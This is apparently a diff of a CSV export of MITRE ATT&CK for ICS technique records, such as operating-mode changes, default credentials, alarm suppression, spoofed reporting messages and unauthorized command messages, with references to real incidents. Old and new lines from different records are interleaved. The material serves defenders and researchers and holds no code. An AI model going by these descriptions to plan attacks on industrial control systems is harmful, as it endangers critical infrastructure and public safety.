'external_id': 'T0803'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Application Log: Application Log Content', 'Process: Process Termination', 'Operational Databases: Process History/Live Data', 'Operational Databases: Process/Event Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Device Configuration/Parameters']",,,,,,,, +attack-pattern,attack-pattern--2883c520-7957-46ca-89bd-dab1ad53b601,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Change Operating Mode,"Adversaries Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controller’s API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controller’s API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off.(Citation: Forum Automation PLC Operating Modes October 2017) Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode.(Citation: Omrom PLC Different Operating Modes)(Citation: Machine Information Systems How PLCs Work 2007)(Citation: Forum Automation PLC Operating Modes October 2017)(Citation: PLCgurus PLC Basics 2021) Remote - Allows for remote changes to a PLC’s operation mode.(Citation: PLCgurus PLC Basics 2021) Stop - The PLC and program is stopped, while in this mode, outputs are forced off.(Citation: Machine Information Systems How PLCs Work 2007) Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.(Citation: Machine Information Systems How PLCs Work 2007)Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.(Citation: Omrom PLC Different Operating Modes)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0858', 'external_id': 'T0858'}, {'source_name': 'Forum Automation PLC Operating Modes October 2017', 'description': 'N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'}, {'source_name': 'Omrom PLC Different Operating Modes', 'description': 'Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'}, {'source_name': 'Machine Information Systems How PLCs Work 2007', 'description': 'Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'}, {'source_name': 'PLCgurus PLC Basics 2021', 'description': 'PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', 'url': 'https://www.plcgurus.net/plc-basics/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Device Alarm']",,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,, +attack-pattern,attack-pattern--8bb4538f-f16f-49f0-a431-70b5444c7349,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Default Credentials,"Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. (Citation: Guidance - NIST SP800-82) -*Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. +Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0812', 'external_id': 'T0812'}, {'source_name': 'Guidance - NIST SP800-82', 'description': 'Keith Stouffer. (2015, May). Guide to Industrial Control Systems (ICS) Security. Retrieved March 28, 2018.', 'url': 'https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation']",,,,,"['Human-Machine Interface', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Control Server', 'Engineering Workstation']",,,,,,,, +attack-pattern,attack-pattern--32632a95-6856-47b9-9ab7-fea5cd7dce00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Exploit Public-Facing Application,"Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility. An adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0819', 'external_id': 'T0819'}, {'source_name': 'ICS CERT 14-281', 'description': 'ICS-CERT. (2014, December 10). ICS Alert (ICS-ALERT-14-281-01E) Ongoing Sophisticated Malware Campaign Compromising ICS (Update E). Retrieved October 11, 2019.', 'url': 'https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,['Human-Machine Interface'],,,,,,,, +attack-pattern,attack-pattern--b0628bfc-5376-4a38-9182-f324501cb4cf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T15:25:32.143Z,Graphical User Interface,"Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. -*""Random"" Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. +In the Oldsmar water treatment attack, adversaries utilized the operator HMI interface through the graphical user interface. This action led to immediate operator detection as they were able to see the adversary making changes on their screen. (Citation: Oldsmar Water Treatment Attack Feb 2021)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0823', 'external_id': 'T0823'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}, {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Process: Process Creation']",,,,,['Human-Machine Interface'],,,,,,,, +attack-pattern,attack-pattern--f8df6b57-14bc-425f-9a91-6f59f6799307,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Internet Accessible Device,"Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through External Remote Services. Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the Exploit Public-Facing Application technique. Adversaries may leverage built in functions for remote access which may not be protected or utilize minimal legacy protections that may be targeted.(Citation: Bowman Dam - ICS-CERT) In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.(Citation: Bowman Dam - ICS-CERT)(Citation: Bowman Dam - wall street journal)(Citation: owman Dam - Times) In Trend Micro’s manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access.(Citation: Trend Micro Honeypot)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0883', 'external_id': 'T0883'}, {'source_name': 'Bowman Dam - ICS-CERT', 'description': 'NCCIC. (2014, January 1). Internet Accessible Control Systems At Risk. Retrieved November 7, 2019.', 'url': 'https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT%20Monitor%20Jan-April2014.pdf'}, {'source_name': 'Bowman Dam - wall street journal', 'description': 'Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019.', 'url': 'https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559'}, {'source_name': 'Bowman Dam - Times', 'description': 'Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019.', 'url': 'https://time.com/4270728/iran-cyber-attack-dam-fbi/'}, {'source_name': 'Trend Micro Honeypot', 'description': 'Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rösler, and Rainer Vosseler. (n.d.). Caught in the Act: Running a Realistic Factory Honeypot to Capture Real Threats. Retrieved April 12, 2021.', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-caught-in-the-act-running-a-realistic-factory-honeypot-to-capture-real-threats.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Metadata']",,,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,, +attack-pattern,attack-pattern--63b6942d-8359-4506-bfb3-cf87aa8120ee,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T15:25:32.143Z,Loss of Productivity and Revenue,"Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. -*A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. +In cases where these operations or services are brought to a halt, the loss of productivity may eventually present an impact for the end-users or consumers of products and services. The disrupted supply-chain may result in supply shortages and increased prices, among other consequences. -*Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0839', external_id='T0839'), ExternalReference(source_name='References - Module Firmware', description='Daniel Peck, Dale Peterson. (2009, January 28). Leveraging Ethernet Card Vulnerabilities in Field Devices. Retrieved December 19, 2017.', url='https://www.researchgate.net/publication/228849043%20Leveraging%20ethernet%20card%20vulnerabilities%20in%20field%20devices')]",attack-pattern--efbf7888-f61b-4572-9c80-7e2965c60707,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='persistence-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impair-process-control')]",2020-05-21 17:43:26.506000+00:00,Module Firmware,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sequential event recorder', 'Network protocol analysis', 'Packet capture', 'Digital signatures']",,,,,,,,,,,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Network sniffing is the practice of using a network interface on a computer system to monitor or capture information (Citation: EAttack Network Sniffing) regardless of whether it is the specified destination for the information. +A ransomware attack on an Australian beverage company resulted in the shutdown of some manufacturing sites, including precautionary halts to protect key systems. (Citation: Distrupted Operations at Lion Company June 2020) The company announced the potential for temporary shortages of their products following the attack. (Citation: Distrupted Operations at Lion Company June 2020) (Citation: Lion Cyber Incident June 2020) -An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as [https://tools.ietf.org/html/rfc854 Telnet], that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. +In the 2021 Colonial Pipeline ransomware incident, the pipeline was unable to transport approximately 2.5 million barrels of fuel per day to the East Coast. (Citation: Colonial Pipeline System Distruption May 2021)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0828', 'external_id': 'T0828'}, {'source_name': 'Distrupted Operations at Lion Company June 2020', 'description': 'Paganini, Pierluigi. (2020, June 14). Ransomware attack disrupts operations at Australian beverage company Lion. Retrieved October 8, 2021.', 'url': 'https://securityaffairs.co/wordpress/104749/cyber-crime/ransomware-attack-hit-lion.html'}, {'source_name': 'Lion Cyber Incident June 2020', 'description': 'Lion Corporation. (2020, June 26). Lion Cyber incident update: 26 June 2020. Retrieved October 8, 2021.', 'url': 'https://lionco.com/2020/06/26/lion-update-re-cyber-issue/'}, {'source_name': 'Colonial Pipeline System Distruption May 2021', 'description': 'Colonial Pipeline Company. (2021, May). Media Statement Update: Colonial Pipeline System Disruption. Retrieved October 8, 2021.', 'url': 'https://www.colpipe.com/news/press-releases/media-statement-colonial-pipeline-system-disruption'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,, +attack-pattern,attack-pattern--36e9f5bc-ac13-4da4-a2f4-01f4877d9004,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T15:25:32.143Z,Manipulate I/O Image,"Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) -In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. +During the scan cycle, a PLC reads the status of all inputs and stores them in an image table.2 The image table is the PLC’s internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules. -Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0842', external_id='T0842'), ExternalReference(source_name='EAttack Network Sniffing', description='Enterprise ATT&CK. (2018, January 11). Network Sniffing. Retrieved May 17, 2018.', url='https://attack.mitre.org/wiki/Technique/T1040')]",attack-pattern--38213338-1aab-479d-949b-c81b66ccca5c,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='discovery-ics')]",2020-05-21 17:43:26.506000+00:00,Network Sniffing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network device logs', 'Process monitoring', 'Netflow/Enclave netflow', 'Host network interfaces']",,,,,,,,,,,,,,['Field Controller/RTU/PLC/IED'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. (Citation: References - beckhoff project files) Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. (Citation: References - plcdev siemens) +One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T835', 'external_id': 'T0835'}, {'source_name': 'Guidance - ISA PLC', 'description': 'Dr. Kelvin T. Erickson. (2010, December). Programmable logic controller hardware. Retrieved March 29, 2018.', 'url': 'https://www.isa.org/standards-and-publications/isa-publications/intech/2010/december/programmable-logic-controller-hardware/'}, {'source_name': 'PLC-Blaster 2', 'description': 'Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019.', 'url': 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf'}, {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Operational Databases: Process History/Live Data', 'Operational Databases: Device Alarm']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,, +attack-pattern,attack-pattern--e5de767e-f513-41cd-aa15-33f6ce5fbf92,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Modify Alarm Settings,"Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. -Adversaries may export their own code into project files with conditions to execute at specific intervals. (Citation: Stuxnet - Symantec - 201102) Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing. (Citation: References - plcdev siemens)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0873', external_id='T0873'), ExternalReference(source_name='Stuxnet - Symantec - 201102', description='Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', url='https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'), ExternalReference(source_name='References - beckhoff project files', description='Beckhoff. (n.d.). TwinCAT 3 Source Control: Project Files. Retrieved November 21, 2019.', url='https://infosys.beckhoff.com/english.php?content=../content/1033/tc3%20sourcecontrol/18014398915785483.html&id='), ExternalReference(source_name='References - plcdev siemens', description=""PLCdev. (n.d.). Siemens SIMATIC Step 7 Programmer's Handbook. Retrieved November 21, 2019."", url='http://www.plcdev.com/book/export/html/373')]",attack-pattern--e72425f8-9ae6-41d3-bfdb-e1b865e60722,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='persistence-ics')]",2020-05-21 17:43:26.506000+00:00,Project File Infection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File monitoring', 'Digital signatures']",,,,,,,,,,,,,,"['Engineering Workstation', 'Human-Machine Interface']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: Alert - Russian APT TA18-074A - 201803) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0852', external_id='T0852'), ExternalReference(source_name='Alert - Russian APT TA18-074A - 201803', description='ICS-CERT. (2017, October 21). Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 23, 2017.', url='https://www.us-cert.gov/ncas/alerts/TA17-293A')]",attack-pattern--c5e3cdbc-0387-4be9-8f83-ff5c0865f377,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2020-05-21 17:43:26.506000+00:00,Screen Capture,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['API monitoring', 'Process monitoring', 'File monitoring']",,,,,,,,,,,,,,['Human-Machine Interface'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may spoof reporting messages in control systems environments to achieve evasion and assist with impairment of process controls. Reporting messages are used in control systems so that operators and network defenders can understand the status of the network. Reporting messages show the status of devices and any important events that the devices control. +If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. -If an adversary has the ability to Spoof Reporting Messages, then they can impact the network in many ways. The adversary can Spoof Reporting Messages that state that the device is in normal working condition, as a form of evasion. The adversary could also Spoof Reporting Messages to make the defenders and operators think that other errors were occurring, to distract them from the actual source of the problem. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) +In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. -In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0856', external_id='T0856'), ExternalReference(source_name='Research - Research - Taxonomy Cyber Attacks on SCADA', description='Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', url='http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf')]",attack-pattern--8535b71e-3c12-4258-a4ab-40257a1becc4,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='evasion-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impair-process-control')]",2020-05-21 17:43:26.506000+00:00,Spoof Reporting Message,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Alarm History', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,['Control Server'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. Alarms were activated more than a dozen times. These disruptions occurred once in 2017, and later in a nearby county in 2019.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0855', external_id='T0855'), ExternalReference(source_name='StateScoop Dallas March 2019', description='Benjamin Freed. (2019, March 13). Tornado sirens in Dallas suburbs deactivated after being hacked and set off. Retrieved November 6, 2020.', url='https://statescoop.com/tornado-sirens-in-dallas-suburbs-deactivated-after-being-hacked-and-set-off/'), ExternalReference(source_name='Research - Research - Taxonomy Cyber Attacks on SCADA', description='Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', url='http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'), ExternalReference(source_name='Ukraine15 - EISAC - 201603', description='Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', url='https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'), ExternalReference(source_name='ZDNet Dallas April 2017', description=""Zack Whittaker. (2017, April 12). Dallas' emergency sirens were hacked with a rogue radio signal. Retrieved November 6, 2020."", url='https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/')]",attack-pattern--40b300ba-f553-48bf-862e-9471b220d455,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impair-process-control')]",2021-04-13 09:28:26.506000+00:00,Unauthorized Command Message,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Alarm history', 'Sequential event recorder', 'Netflow/Enclave netflow', 'Packet capture', 'Network protocol analysis']",,,,,,,,,,,,,,['Field Controller/RTU/PLC/IED'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0800', external_id='T0800')]",attack-pattern--19a71d1e-6334-4233-8260-b749cae37953,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2021-04-13 12:02:26.506000+00:00,Activate Firmware Update Mode,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Joe Slowik - Dragos'],"['Application logs', 'Sequential event recorder', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. +In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer. (Citation: Maroochy - MITRE - 200808)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0838', 'external_id': 'T0838'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– 